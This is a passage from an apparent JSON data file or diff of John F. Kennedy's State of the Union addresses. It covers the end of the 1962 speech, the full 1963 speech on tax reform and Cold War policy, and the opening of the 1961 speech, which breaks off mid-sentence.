bar to the Communists' \"grand design\"--it is\nthe basis of our own.In the past year, for example, we have urged a neutral and independent\nLaos--regained there a common policy with our major allies--and insisted\nthat a cease-fire precede negotiations. While a workable formula for\nsupervising its independence is still to be achieved, both the spread\nof war--which might have involved this country also--and a Communist\noccupation have thus far been prevented.A satisfactory settlement in Laos would also help to achieve and safeguard\nthe peace in Viet-Nam--where the foe is increasing his tactics of\nterror--where our own efforts have been stepped up--and where the local\ngovernment has initiated new programs and reforms to broaden the base of\nresistance. The systematic aggression now bleeding that country is not a\n\"war of liberation\"--for Viet-Nam is already free. It is a war of attempted\nsubjugation--and it will be resisted.IX. THE ATLANTIC COMMUNITYFinally, the united strength of the Atlantic Community has flourished in\nthe last year under severe tests. NATO has increased both the number and\nthe readiness of its air, ground, and naval units--both its nuclear and\nnon-nuclear capabilities. Even greater efforts by all its members are still\nrequired. Nevertheless our unity of purpose and will has been, I believe,\nimmeasurably strengthened.The threat to the brave city of Berlin remains. In these last 6 months the\nAllies have made it unmistakably clear that our presence in Berlin, our\nfree access thereto, and the freedom of two million West Berliners would\nnot be surrendered either to force or through appeasement--and to maintain\nthose rights and obligations, we are prepared to talk, when appropriate,\nand to fight, if necessary. Every member of NATO stands with us in a common\ncommitment to preserve this symbol of free man's will to remain free.I cannot now predict the course of future negotiations over Berlin. I can\nonly say that we are sparing no honorable effort to find a peaceful and\nmutually acceptable resolution of this problem. I believe such a resolution\ncan be found, and with it an improvement in our relations with the Soviet\nUnion, if only the leaders in the Kremlin will recognize the basic rights\nand interests involved, and the interest of all mankind in peace.But the Atlantic Community is no longer concerned with purely military\naims. As its common undertakings grow at an ever-increasing pace, we are,\nand increasingly will be, partners in aid, trade, defense, diplomacy, and\nmonetary affairs.The emergence of the new Europe is being matched by the emergence of new\nties across the Atlantic. It is a matter of undramatic daily cooperation in\nhundreds of workaday tasks: of currencies kept in effective relation, of\ndevelopment loans meshed together, of standardized weapons, and concerted\ndiplomatic positions. The Atlantic Community grows, not like a volcanic\nmountain, by one mighty explosion, but like a coral reef, from the\naccumulating activity of all.Thus, we in the free world are moving steadily toward unity and\ncooperation, in the teeth of that old Bolshevik prophecy, and at the very\ntime when extraordinary rumbles of discord can be heard across the Iron\nCurtain. It is not free societies which bear within them the seeds of\ninevitable disunity.X. OUR BALANCE OF PAYMENTSOn one special problem, of great concern to our friends, and to us, I am\nproud to give the Congress an encouraging report. Our efforts to safeguard\nthe dollar are progressing. In the 11 months preceding last February 1, we\nsuffered a net loss of nearly $2 billion in gold. In the 11 months that\nfollowed, the loss was just over half a billion dollars. And our deficit in\nour basic transactions with the rest of the world--trade, defense, foreign\naid, and capital, excluding volatile short-term flows--has been reduced\nfrom $2 billion for 1960 to about one-third that amount for 1961.\nSpeculative fever against the dollar is ending--and confidence in the\ndollar has been restored.We did not--and could not--achieve these gains through import restrictions,\ntroop withdrawals, exchange controls, dollar devaluation or choking off\ndomestic recovery. We acted not in panic but in perspective. But the\nproblem is not yet solved. Persistently large deficits would endanger our\neconomic growth and our military and defense commitments abroad. Our goal\nmust be a reasonable equilibrium in our balance of payments. With the\ncooperation of the Congress, business, labor, and our major allies, that\ngoal can be reached.We shall continue to attract foreign tourists and investments to our\nshores, to seek increased military purchases here by our allies, to\nmaximize foreign aid procurement from American firms, to urge increased aid\nfrom other fortunate nations to the less fortunate, to seek tax laws which\ndo not favor investment in other industrialized nations or tax havens, and\nto urge coordination of allied fiscal and monetary policies so as to\ndiscourage large and disturbing capital movements.TRADEAbove all, if we are to pay for our commitments abroad, we must expand our\nexports. Our businessmen must be export conscious and export competitive.\nOur tax policies must spur modernization of our plants--our wage and price\ngains must be consistent with productivity to hold the line on prices--our\nexport credit and promotion campaigns for American industries must continue\nto expand.But the greatest challenge of all is posed by the growth of the European\nCommon Market. Assuming the accession of the United Kingdom, there will\narise across the Atlantic a trading partner behind a single external tariff\nsimilar to ours with an economy which nearly equals our own. Will we in\nthis country adapt our thinking to these new prospects and patterns--or\nwill we wait until events have passed us by?This is the year to decide. The Reciprocal Trade Act is expiring. We need a\nnew law--a wholly new approach--a bold new instrument of American trade\npolicy. Our decision could well affect the unity of the West, the course of\nthe Cold War, and the economic growth of our Nation for a generation to\ncome.If we move decisively, our factories and farms can increase their sales to\ntheir richest, fastest-growing market. Our exports will increase. Our\nbalance of payments position will improve. And we will have forged across\nthe Atlantic a trading partnership with vast resources for freedom.If, on the other hand, we hang back in deference to local economic\npressures, we will find ourselves cut off from our major allies.\nIndustries--and I believe this is most vital--industries will move their\nplants and jobs and capital inside the walls of the Common Market, and\njobs, therefore, will be lost here in the United States if they cannot\notherwise compete for its consumers. Our farm surpluses--our balance of\ntrade, as you all know, to Europe, the Common Market, in farm products, is\nnearly three or four to one in our favor, amounting to one of the best\nearners of dollars in our balance of payments structure, and without\nentrance to this Market, without the ability to enter it, our farm\nsurpluses will pile up in the Middle West, tobacco in the South, and other\ncommodities, which have gone through Western Europe for 15 years. Our\nbalance of payments position will worsen. Our consumers will lack a wider\nchoice of goods at lower prices. And millions of American workers--whose\njobs depend on the sale or the transportation or the distribution of\nexports or imports, or whose jobs will be endangered by the movement of our\ncapital to Europe, or whose jobs can be maintained only in an expanding\neconomy--these millions of workers in your home States and mine will see\ntheir real interests sacrificed.Members of the Congress: The United States did not rise to greatness by\nwaiting for others to lead. This Nation is the world's foremost\nmanufacturer, farmer, banker, consumer, and exporter. The Common Market is\nmoving ahead at an economic growth rate twice ours. The Communist economic\noffensive is under way. The opportunity is ours--the initiative is up to\nus--and I believe that 1962 is the time.To seize that initiative, I shall shortly send to the Congress a new\nfive-year Trade Expansion Action, far-reaching in scope but designed with\ngreat care to make certain that its benefits to our people far outweigh any\nrisks. The bill will permit the gradual elimination of tariffs here in the\nUnited States and in the Common Market on those items in which we together\nsupply 80 percent of the world's trade--mostly items in which our own\nability to compete is demonstrated by the fact that we sell abroad, in\nthese items, substantially more than we import. This step will make it\npossible for our major industries to compete with their counterparts in\nWestern Europe for access to European consumers.On other goods the bill will permit a gradual reduction of duties up to 50\npercent--permitting bargaining by major categories--and provide for\nappropriate and tested forms of assistance to firms and employees adjusting\nto import competition. We are not neglecting the safeguards provided by\nperil points, an escape clause, or the National Security Amendment. Nor are\nwe abandoning our non-European friends or our traditional \"most-favored\nnation\" principle. On the contrary, the bill will provide new encouragement\nfor their sale of tropical agricultural products, so important to our\nfriends in Latin America, who have long depended upon the European market,\nwho now find themselves faced with new challenges which we must join with\nthem in overcoming.Concessions, in this bargaining, must of course be reciprocal, not\nunilateral. The Common Market will not fulfill its own high promise unless\nits outside tariff walls are low. The dangers of restriction or timidity in\nour own policy have counterparts for our friends in Europe. For together we\nface a common challenge: to enlarge the prosperity of free men\neverywhere--to build in partnership a new trading community in which all\nfree nations may gain from the productive energy of free competitive\neffort.These various elements in our foreign policy lead, as I have said, to a\nsingle goal--the goal of a peaceful world of free and independent states.\nThis is our guide for the present and our vision for the future--a free\ncommunity of nations, independent but interdependent, uniting north and\nsouth, east and west, in one great family of man, outgrowing and\ntranscending the hates and fears that rend our age.We will not reach that goal today, or tomorrow. We may not reach it in our\nown lifetime. But the quest is the greatest adventure of our century. We\nsometimes chafe at the burden of our obligations, the complexity of our\ndecisions, the agony of our choices. But there is no comfort or security\nfor us in evasion, no solution in abdication, no relief in\nirresponsibility.A year ago, in assuming the tasks of the Presidency, I said that few\ngenerations, in all history, had been granted the role of being the great\ndefender of freedom in its hour of maximum danger. This is our good\nfortune; and I welcome it now as I did a year ago. For it is the fate of\nthis generation--of you in the Congress and of me as President--to live\nwith a struggle we did not start, in a world we did not make. But the\npressures of life are not always distributed by choice. And while no\nnation has ever faced such a challenge, no nation has ever been so ready\nto seize the burden and the glory of freedom.And in this high endeavor, may God watch over the United States of America.", 
+    "name": "John F. Kennedy"
+}
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+{
+    "date": "January 14, 1963", 
+    "speech": "Mr. Vice President, Mr. Speaker, Members of the 88th Congress:I congratulate you all--not merely on your electoral victory but on your\nselected role in history. For you and I are privileged to serve the great\nRepublic in what could be the most decisive decade in its long history. The\nchoices we make, for good or ill, may well shape the state of the Union for\ngenerations yet to come.Little more than 100 weeks ago I assumed the office of President of the\nUnited States. In seeking the help of the Congress and our countrymen, I\npledged no easy answers. I pledged--and asked--only toil and dedication.\nThese the Congress and the people have given in good measure. And today,\nhaving witnessed in recent months a heightened respect for our national\npurpose and power--having seen the courageous calm of a united people in\na perilous hour--and having observed a steady improvement in the\nopportunities and well-being of our citizens--I can report to you that\nthe state of this old but youthful Union, in the 175th year of its life,\nis good.In the world beyond our borders, steady progress has been made in building\na world of order. The people of West Berlin remain both free and secure. A\nsettlement, though still precarious, has been reached in Laos. The\nspearpoint of aggression has been blunted in Viet-Nam. The end of agony may\nbe in sight in the Congo. The doctrine of troika is dead. And, while danger\ncontinues, a deadly threat has been removed in Cuba.At home, the recession is behind us. Well over a million more men and women\nare working today than were working 2 years ago. The average factory\nwork week is once again more than 40 hours; our industries are turning out\nmore goods than ever before; and more than half of the manufacturing\ncapacity that lay silent and wasted 100 weeks ago is humming with\nactivity.In short, both at home and abroad, there may now be a temptation to relax.\nFor the road has been long, the burden heavy, and the pace consistently\nurgent.But we cannot be satisfied to rest here. This is the side of the hill, not\nthe top. The mere absence of war is not peace. The mere absence of\nrecession is not growth. We have made a beginning--but we have only begun.Now the time has come to make the most of our gains--to translate the\nrenewal of our national strength into the achievement of our national\npurpose.I.America has enjoyed 22 months of uninterrupted economic recovery. But\nrecovery is not enough. If we are to prevail in the long run, we must\nexpand the long-run strength of our economy. We must move along the path to\na higher rate of growth and full employment.For this would mean tens of billions of dollars more each year in\nproduction, profits, wages, and public revenues. It would mean an end to\nthe persistent slack which has kept our unemployment at or above 5 percent\nfor 61 out of the past 62 months--and an end to the growing pressures for\nsuch restrictive measures as the 35-hour week, which alone could increase\nhourly labor costs by as much as 14 percent, start a new wage-price spiral\nof inflation, and undercut our efforts to compete with other nations.To achieve these greater gains, one step, above all, is essential--the\nenactment this year of a substantial reduction and revision in Federal\nincome taxes.For it is increasingly clear--to those in Government, business, and labor\nwho are responsible for our economy's success--that our obsolete tax system\nexerts too heavy a drag on private purchasing power, profits, and\nemployment. Designed to check inflation in earlier years, it now checks\ngrowth instead. It discourages extra effort and risk. It distorts the use\nof resources. It invites recurrent recessions, depresses our Federal\nrevenues, and causes chronic budget deficits.Now, when the inflationary pressures of the war and the post-war years no\nlonger threaten, and the dollar commands new respect--now, when no military\ncrisis strains our resources--now is the time to act. We cannot afford to\nbe timid or slow. For this is the most urgent task confronting the Congress\nin 1963.In an early message, I shall propose a permanent reduction in tax rates\nwhich will lower liabilities by $13.5 billion. Of this, $11 billion results\nfrom reducing individual tax rates, which now range between 20 and 91\npercent, to a more sensible range of 14 to 65 percent, with a split in the\npresent first bracket. Two and one-half billion dollars results from\nreducing corporate tax rates, from 52 percent--which gives the Government\ntoday a majority interest in profits--to the permanent pre-Korean level of\n47 percent. This is in addition to the more than $2 billion cut in\ncorporate tax liabilities resulting from last year's investment credit and\ndepreciation reform.To achieve this reduction within the limits of a manageable budgetary\ndeficit, I urge: first, that these cuts be phased over 3 calendar years,\nbeginning in 1963 with a cut of some $6 billion at annual rates; second,\nthat these reductions be coupled with selected structural changes,\nbeginning in 1964, which will broaden the tax base, end unfair or\nunnecessary preferences, remove or lighten certain hardships, and in the\nnet offset some $3.5 billion of the revenue loss; and third, that budgetary\nreceipts at the outset be increased by $1.5 billion a year, without any\nchange in tax liabilities, by gradually shifting the tax payments of large\ncorporations to a more current time schedule. This combined program, by\nincreasing the amount of our national income, will in time result in still\nhigher Federal revenues. It is a fiscally responsible program--the surest\nand the soundest way of achieving in time a balanced budget in a balanced\nfull employment economy.This net reduction in tax liabilities of $10 billion will increase the\npurchasing power of American families and business enterprises in every tax\nbracket, with greatest increase going to our low-income consumers. It will,\nin addition, encourage the initiative and risk-taking on which our free\nsystem depends--induce more investment, production, and capacity use--help\nprovide the 2 million new jobs we need every year--and reinforce the\nAmerican principle of additional reward for additional effort.I do not say that a measure for tax reduction and reform is the only way to\nachieve these goals.No doubt a massive increase in Federal spending could also create jobs\nand growth, but in today's setting, private consumers, employers, and\ninvestors should be given a full opportunity first.No doubt a temporary tax cut could provide a spur to our economy--but a\nlong-run problem compels a long-run solution.No doubt a reduction in either individual or corporation taxes alone\nwould be of great help--but corporations need customers and job seekers\nneed jobs.No doubt tax reduction without reform would sound simpler and more\nattractive to many--but our growth is also hampered by a host of tax\ninequities and special preferences which have distorted the flow of\ninvestment.And finally, there are no doubt some who would prefer to put off a tax\ncut in the hope that ultimately an end to the cold war would make possible\nan equivalent cut in expenditures--but that end is not in view and to wait\nfor it would be costly and self-defeating.In submitting a tax program which will, of course, temporarily increase the\ndeficit but can ultimately end it--and in recognition of the need to\ncontrol expenditures--I will shortly submit a fiscal 1964 administrative\nbudget which, while allowing for needed rises in defense, space, and fixed\ninterest charges, holds total expenditures for all other purposes below\nthis year's level.This requires the reduction or postponement of many desirable programs, the\nabsorption of a large part of last year's Federal pay raise through\npersonnel and other economies, the termination of certain installations and\nprojects, and the substitution in several programs of private for public\ncredit. But I am convinced that the enactment this year of tax reduction\nand tax reform overshadows all other domestic problems in this Congress.\nFor we cannot for long lead the cause of peace and freedom, if we ever\ncease to set the pace here at home.II.Tax reduction alone, however, is not enough to strengthen our society, to\nprovide opportunities for the four million Americans who are born every\nyear, to improve the lives of 32 million Americans who live on the\noutskirts of poverty.The quality of American life must keep pace with the quantity of American\ngoods.This country cannot afford to be materially rich and spiritually poor.Therefore, by holding down the budgetary cost of existing programs to keep\nwithin the limitations I have set, it is both possible and imperative to\nadopt other new measures that we cannot afford to postpone.These measures are based on a series of fundamental premises, grouped under\nfour related headings:First, we need to strengthen our Nation by investing in our youth.The future of any country which is dependent upon the will and wisdom of\nits citizens is damaged, and irreparably damaged, whenever any of its\nchildren is not educated to the full extent of his talent, from grade\nschool through graduate school. Today, an estimated 4 out of every 10\nstudents in the 5th grade will not even finish high school--and that is a\nwaste we cannot afford.In addition, there is no reason why one million young Americans, out of\nschool and out of work, should all remain unwanted and often untrained on\nour city streets when their energies can be put to good use.Finally, the overseas success of our Peace Corps volunteers, most of them\nyoung men and women carrying skills and ideas to needy people, suggests the\nmerit of a similar corps serving our own community needs: in mental\nhospitals, on Indian reservations, in centers for the aged or for young\ndelinquents, in schools for the illiterate or the handicapped. As the\nidealism of our youth has served world peace, so can it serve the domestic\ntranquility.Second, we need to strengthen our Nation by safeguarding its health.Our working men and women, instead of being forced to beg for help from\npublic charity once they are old and ill, should start contributing now to\ntheir own retirement health program through the Social Security System.Moreover, all our miracles of medical research will count for little if\nwe cannot reverse the growing nationwide shortage of doctors, dentists, and\nnurses, and the widespread shortages of nursing homes and modern urban\nhospital facilities. Merely to keep the present ratio of doctors and\ndentists from declining any further, we must over the next 10 years\nincrease the capacity of our medical schools by 50 percent and our dental\nschools by 100 percent.Finally, and of deep concern, I believe that the abandonment of the\nmentally ill and the mentally retarded to the grim mercy of custodial\ninstitutions too often inflicts on them and on their families a needless\ncruelty which this Nation should not endure. The incidence of mental\nretardation in this country is three times as high as that of Sweden, for\nexample--and that figure can and must be reduced.Third, we need to strengthen our Nation by protecting the basic rights of\nits citizens.The right to competent counsel must be assured to every man accused of\ncrime in Federal court, regardless of his means.And the most precious and powerful right in the world, the right to vote\nin a free American election, must not be denied to any citizen on grounds\nof his race or color. I wish that all qualified Americans permitted to vote\nwere willing to vote, but surely in this centennial year of Emancipation\nall those who are willing to vote should always be permitted.Fourth, we need to strengthen our Nation by making the best and the most\neconomical use of its resources and facilities.Our economic health depends on healthy transportation arteries; and I\nbelieve the way to a more modern, economical choice of national\ntransportation service is through increased competition and decreased\nregulation. Local mass transit, faring even worse, is as essential a\ncommunity service as hospitals and highways. Nearly three-fourths of our\ncitizens live in urban areas, which occupy only 2 percent of our land--and\nif local transit is to survive and relieve the congestion of these cities,\nit needs Federal stimulation and assistance.Next, this Government is in the storage and stockpile business to the\nmelancholy tune of more than $16 billion. We must continue to support farm\nincome, but we should not pile more farm surpluses on top of the $7.5\nbillion we already own. We must maintain a stockpile of strategic\nmaterials, but the $8.5 billion we have acquired--for reasons both good and\nbad--is much more than we need; and we should be empowered to dispose of\nthe excess in ways which will not cause market disruption.Finally, our already overcrowded national parks and recreation areas will\nhave twice as many visitors 10 years from now as they do today. If we do\nnot plan today for the future growth of these and other great natural\nassets--not only parks and forests but wildlife and wilderness preserves,\nand water projects of all kinds--our children and their children will be\npoorer in every sense of the word.These are not domestic concerns alone. For upon our achievement of greater\nvitality and strength here at home hang our fate and future in the world:\nour ability to sustain and supply the security of free men and nations, our\nability to command their respect for our leadership, our ability to expand\nour trade without threat to our balance of payments, and our ability to\nadjust to the changing demands of cold war competition and challenge.We shall be judged more by what we do at home than by what we preach\nabroad. Nothing we could do to help the developing countries would help\nthem half as much as a booming U.S. economy. And nothing our opponents\ncould do to encourage their own ambitions would encourage them half as much\nas a chronic, lagging U.S. economy. These domestic tasks do not divert\nenergy from our security--they provide the very foundation for freedom's\nsurvival and success.III.Turning to the world outside, it was only a few years ago--in Southeast\nAsia, Africa, Eastern Europe, Latin America, even outer space--that\ncommunism sought to convey the image of a unified, confident, and expanding\nempire, closing in on a sluggish America and a free world in disarray. But\nfew people would hold to that picture today.In these past months we have reaffirmed the scientific and military\nsuperiority of freedom. We have doubled our efforts in space, to assure us\nof being first in the future. We have undertaken the most far-reaching\ndefense improvements in the peacetime history of this country. And we have\nmaintained the frontiers of freedom from Viet-Nam to West Berlin.But complacency or self-congratulation can imperil our security as much as\nthe weapons of tyranny. A moment of pause is not a promise of peace.\nDangerous problems remain from Cuba to the South China Sea. The world's\nprognosis prescribes, in short, not a year's vacation for us, but a year of\nobligation and opportunity.Four special avenues of opportunity stand out: the Atlantic Alliance, the\ndeveloping nations, the new Sino-Soviet difficulties, and the search for\nworldwide peace.IV.First, how fares the grand alliance? Free Europe is entering into a new\nphase of its long and brilliant history. The era of colonial expansion has\npassed; the era of national rivalries is fading; and a new era of\ninterdependence and unity is taking shape. Defying the old prophecies of\nMarx, consenting to what no conqueror could ever compel, the free nations\nof Europe are moving toward a unity of purpose and power and policy in\nevery sphere of activity.For 17 years this movement has had our consistent support, both political\nand economic. Far from resenting the new Europe, we regard her as a welcome\npartner, not a rival. For the road to world peace and freedom is still\nlong, and there are burdens which only full partners can share--in\nsupporting the common defense, in expanding world trade, in aligning our\nbalance of payments, in aiding the emergent nations, in concerting\npolitical and economic policies, and in welcoming to our common effort\nother industrialized nations, notably Japan, whose remarkable economic and\npolitical development of the 1950's permits it now to play on the world\nscene a major constructive role.No doubt differences of opinion will continue to get more attention than\nagreements on action, as Europe moves from independence to more formal\ninterdependence. But these are honest differences among honorable\nassociates--more real and frequent, in fact, among our Western European\nallies than between them and the United States. For the unity of freedom\nhas never relied on uniformity of opinion. But the basic agreement of this\nalliance on fundamental issues continues.The first task of the alliance remains the common defense. Last month Prime\nMinister Macmillan and I laid plans for a new stage in our long cooperative\neffort, one which aims to assist in the wider task of framing a common\nnuclear defense for the whole alliance.The Nassau agreement recognizes that the security of the West is\nindivisible, and so must be our defense. But it also recognizes that this\nis an alliance of proud and sovereign nations, and works best when we do\nnot forget it. It recognizes further that the nuclear defense of the West\nis not a matter for the present nuclear powers alone--that France will be\nsuch a power in the future--and that ways must be found without increasing\nthe hazards of nuclear diffusion, to increase the role of our other\npartners in planning, manning, and directing a truly multilateral nuclear\nforce within an increasingly intimate NATO alliance. Finally, the Nassau\nagreement recognizes that nuclear defense is not enough, that the agreed\nNATO levels of conventional strength must be met, and that the alliance\ncannot afford to be in a position of having to answer every threat with\nnuclear weapons or nothing.We remain too near the Nassau decisions, and too far from their full\nrealization, to know their place in history. But I believe that, for the\nfirst time, the door is open for the nuclear defense of the alliance to\nbecome a source of confidence, instead of a cause of contention.The next most pressing concern of the alliance is our common economic goals\nof trade and growth. This Nation continues to be concerned about its\nbalance-of-payments deficit, which, despite its decline, remains a stubborn\nand troublesome problem. We believe, moreover, that closer economic ties\namong all free nations are essential to prosperity and peace. And neither\nwe nor the members of the European Common Market are so affluent that we\ncan long afford to shelter high cost farms or factories from the winds of\nforeign competition, or to restrict the channels of trade with other\nnations of the free world. If the Common Market should move toward\nprotectionism and restrictionism, it would undermine its own basic\nprinciples. This Government means to use the authority conferred on it last\nyear by the Congress to encourage trade expansion on both sides of the\nAtlantic and around the world.V.Second, what of the developing and non-aligned nations? They were shocked\nby the Soviets' sudden and secret attempt to transform Cuba into a nuclear\nstriking base--and by Communist China's arrogant invasion of India. They\nhave been reassured by our prompt assistance to India, by our support\nthrough the United Nations of the Congo's unification, by our patient\nsearch for disarmament, and by the improvement in our treatment of citizens\nand visitors whose skins do not happen to be white. And as the older\ncolonialism recedes, and the neo-colonialism of the Communist powers stands\nout more starkly than ever, they realize more clearly that the issue in the\nworld struggle is not communism versus capitalism, but coercion versus free\nchoice.They are beginning to realize that the longing for independence is the same\nthe world over, whether it is the independence of West Berlin or Viet-Nam.\nThey are beginning to realize that such independence runs athwart all\nCommunist ambitions but is in keeping with our own--and that our approach\nto their diverse needs is resilient and resourceful, while the Communists\nare still relying on ancient doctrines and dogmas.Nevertheless it is hard for any nation to focus on an external or\nsubversive threat to its independence when its energies are drained in\ndaily combat with the forces of poverty and despair. It makes little sense\nfor us to assail, in speeches and resolutions, the horrors of communism, to\nspend $50 billion a year to prevent its military advance--and then to\nbegrudge spending, largely on American products, less than one-tenth of\nthat amount to help other nations strengthen their independence and cure\nthe social chaos in which communism has always thrived.I am proud--and I think most Americans are proud--of a mutual defense and\nassistance program, evolved with bipartisan support in three\nadministrations, which has, with all its recognized problems, contributed\nto the fact that not a single one of the nearly fifty U.N. members to gain\nindependence since the Second World War has succumbed to Communist\ncontrol.I am proud of a program that has helped to arm and feed and clothe millions\nof people who live on the front lines of freedom.I am especially proud that this country has put forward for the 60's a vast\ncooperative effort to achieve economic growth and social progress\nthroughout the Americas--the Alliance for Progress.I do not underestimate the difficulties that we face in this mutual effort\namong our close neighbors, but the free states of this hemisphere, working\nin close collaboration, have begun to make this alliance a living reality.\nToday it is feeding one out of every four school age children in Latin\nAmerica an extra food ration from our farm surplus. It has distributed 1.5\nmillion school books and is building 17,000 classrooms. It has helped\nresettle tens of thousands of farm families on land they can call their\nown. It is stimulating our good neighbors to more self-help and\nself-reform--fiscal, social, institutional, and land reforms. It is\nbringing new housing and hope, new health and dignity, to millions who were\nforgotten. The men and women of this hemisphere know that the alliance\ncannot succeed if it is only another name for United States handouts--that\nit can succeed only as the Latin American nations themselves devote their\nbest effort to fulfilling its goals.This story is the same in Africa, in the Middle East, and in Asia. Wherever\nnations are willing to help themselves, we stand ready to help them build\nnew bulwarks of freedom. We are not purchasing votes for the cold war; we\nhave gone to the aid of imperiled nations, neutrals and allies alike. What\nwe do ask--and all that we ask--is that our help be used to best advantage,\nand that their own efforts not be diverted by needless quarrels with other\nindependent nations.Despite all its past achievements, the continued progress of the Mutual\nAssistance Program requires a persistent discontent with present\nperformance. We have been reorganizing this program to make it a more\neffective, efficient instrument--and that process will continue this year.But free world development will still be an uphill struggle. Government aid\ncan only supplement the role of private investment, trade expansion,\ncommodity stabilization, and, above all, internal self-improvement. The\nprocesses of growth are gradual--bearing fruit in a decade, not a day. Our\nsuccesses will be neither quick nor dramatic. But if these programs were\never to be ended, our failures in a dozen countries would be sudden and\ncertain.Neither money nor technical assistance, however, can be our only weapon\nagainst poverty. In the end, the crucial effort is one of purpose,\nrequiring the fuel of finance but also a torch of idealism. And nothing\ncarries the spirit of this American idealism more effectively to the far\ncorners of the earth than the American Peace Corps.A year ago, less than 900 Peace Corps volunteers were on the job. A year\nfrom now they will number more than 9,000--men and women, aged 18 to 79,\nwilling to give 2 years of their lives to helping people in other lands.There are, in fact, nearly a million Americans serving their country and\nthe cause of freedom in overseas posts, a record no other people can match.\nSurely those of us who stay at home should be glad to help indirectly; by\nsupporting our aid programs; .by opening our doors to foreign visitors and\ndiplomats and students; and by proving, day by day, by deed as well as\nword, that we are a just and generous people.VI.Third, what comfort can we take from the increasing strains and tensions\nwithin the Communist bloc? Here hope must be tempered with caution. For the\nSoviet-Chinese disagreement is over means, not ends. A dispute over how\nbest to bury the free world is no grounds for Western rejoicing.Nevertheless, while a strain is not a fracture, it is clear that the forces\nof diversity are at work inside the Communist camp, despite all the iron\ndisciplines of regimentation and all the iron dogmatisms of ideology. Marx\nis proven wrong once again: for it is the closed Communist societies, not\nthe free and open societies which carry within themselves the seeds of\ninternal disintegration.The disarray of the Communist empire has been heightened by two other\nformidable forces. One is the historical force of nationalism--and the\nyearning of all men to be free. The other is the gross inefficiency of\ntheir economies. For a closed society is not open to ideas of progress--and\na police state finds that it cannot command the grain to grow.New nations asked to choose between two competing systems need only compare\nconditions in East and West Germany, Eastern and Western Europe, North and\nSouth Viet-Nam. They need only compare the disillusionment of Communist\nCuba with the promise of the Alliance for Progress. And all the world knows\nthat no successful system builds a wall to keep its people in and freedom\nout--and the wall of shame dividing Berlin is a symbol of Communist\nfailure.VII.Finally, what can we do to move from the present pause toward enduring\npeace? Again I would counsel caution. I foresee no spectacular reversal in\nCommunist methods or goals. But if all these trends and developments can\npersuade the Soviet Union to walk the path of peace, then let her know that\nall free nations will journey with her. But until that choice is made, and\nuntil the world can develop a reliable system of international security,\nthe free peoples have no choice but to keep their arms nearby.This country, therefore, continues to require the best defense in the\nworld--a defense which is suited to the sixties. This means, unfortunately,\na rising defense budget--for there is no substitute for adequate defense,\nand no \"bargain basement\" way of achieving it. It means the expenditure of\nmore than $15 billion this year on nuclear weapons systems alone, a sum\nwhich is about equal to the combined defense budgets of our European\nAllies.But it also means improved air and missile defenses, improved civil\ndefense, a strengthened anti-guerrilla capacity and, of prime importance,\nmore powerful and flexible non-nuclear forces. For threats of massive\nretaliation may not deter piecemeal aggression--and a line of destroyers in\na quarantine, or a division of well-equipped men on a border, may be more\nuseful to our real security than the multiplication of awesome weapons\nbeyond all rational need.But our commitment to national safety is not a commitment to expand our\nmilitary establishment indefinitely. We do not dismiss disarmament as\nmerely an idle dream. For we believe that, in the end, it is the only way\nto assure the security of all without impairing the interests of any. Nor\ndo we mistake honorable negotiation for appeasement. While we shall never\nweary in the defense of freedom, neither shall we ever abandon the pursuit\nof peace.In this quest, the United Nations requires our full and continued support.\nIts value in serving the cause of peace has been shown anew in its role in\nthe West New Guinea settlement, in its use as a forum for the Cuban crisis,\nand in its task of unification in the Congo. Today the United Nations is\nprimarily the protector of the small and the weak, and a safety valve for\nthe strong. Tomorrow it can form the framework for a world of law--a world\nin which no nation dictates the destiny of another, and in which the vast\nresources now devoted to destructive means will serve constructive ends.In short, let our adversaries choose. If they choose peaceful competition,\nthey shall have it. If they come to realize that their ambitions cannot\nsucceed--if they see their \"wars of liberation\" and subversion will\nultimately fail--if they recognize that there is more security in accepting\ninspection than in permitting new nations to master the black arts of\nnuclear war--and if they are willing to turn their energies, as we are, to\nthe great unfinished tasks of our own peoples--then, surely, the areas of\nagreement can be very wide indeed: a clear understanding about Berlin,\nstability in Southeast Asia, an end to nuclear testing, new checks on\nsurprise or accidental attack, and, ultimately, general and complete\ndisarmament.VIII.For we seek not the worldwide victory of one nation or system but a\nworldwide victory of man. The modern globe is too small, its weapons are\ntoo destructive, and its disorders are too contagious to permit any other\nkind of victory.To achieve this end, the United States will continue to spend a greater\nportion of its national production than any other people in the free world.\nFor 15 years no other free nation has demanded so much of itself. Through\nhot wars and cold, through recession and prosperity, through the ages of\nthe atom and outer space, the American people have never faltered and their\nfaith has never flagged. If at times our actions seem to make life\ndifficult for others, it is only because history has made life difficult\nfor us all.But difficult days need not be dark. I think these are proud and memorable\ndays in the cause of peace and freedom. We are proud, for example, of Major\nRudolf Anderson who gave his life over the island of Cuba. We salute\nSpecialist James Allen Johnson who died on the border of South Korea. We\npay honor to Sergeant Gerald Pendell who was killed in Viet-Nam. They are\namong the many who in this century, far from home, have died for our\ncountry. Our task now, and the task of all Americans is to live up to their\ncommitment.My friends: I close on a note of hope. We are not lulled by the momentary\ncalm of the sea or the somewhat clearer skies above. We know the turbulence\nthat lies below, and the storms that are beyond the horizon this year. But\nnow the winds of change appear to be blowing more strongly than ever, in\nthe world of communism as well as our own. For 175 years we have sailed\nwith those winds at our back, and with the tides of human freedom in our\nfavor. We steer our ship with hope, as Thomas Jefferson said, \"leaving Fear\nastern.\"Today we still welcome those winds of change--and we have every reason to\nbelieve that our tide is running strong. With thanks to Almighty God for\nseeing us through a perilous passage, we ask His help anew in guiding the\n\"Good Ship Union.\"", 
+    "name": "John F. Kennedy"
+}
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+{
+    "date": "January 30, 1961", 
+    "speech": "Mr. Speaker, Mr. Vice President, Members of the Congress:It is a pleasure to return from whence I came. You are among my oldest\nfriends in Washington--and this House is my oldest home. It was here, more\nthan 14 years ago, that I first took the oath of Federal office. It was\nhere, for 14 years, that I gained both knowledge and inspiration from\nmembers of both parties in both Houses--from your wise and generous\nleaders--and from the pronouncements which I can vividly recall, sitting\nwhere you now sit--including the programs of two great Presidents, the\nundimmed eloquence of Churchill, the soaring idealism of Nehru, the\nsteadfast words of General de Gaulle. To speak from this same historic\nrostrum is a sobering experience. To be back among so many friends is a\nhappy one.I am confident that that friendship will continue. Our Constitution wisely\nassigns both joint and separate roles to each branch of the government; and\na President and a Congress who hold each other in mutual respect will\nneither permit nor attempt any trespass. For my part, I shall withhold from\nneither the Congress nor the people any fact or report, past, present, or\nfuture, which is necessary for an informed judgment of our conduct and\nhazards. I shall neither shift the burden of executive decisions to the\nCongress, nor avoid responsibility for the outcome of those decisions.I speak today in an hour of national peril and national opportunity. Before\nmy term has ended, we shall have to test anew whether a nation organized\nand governed such as 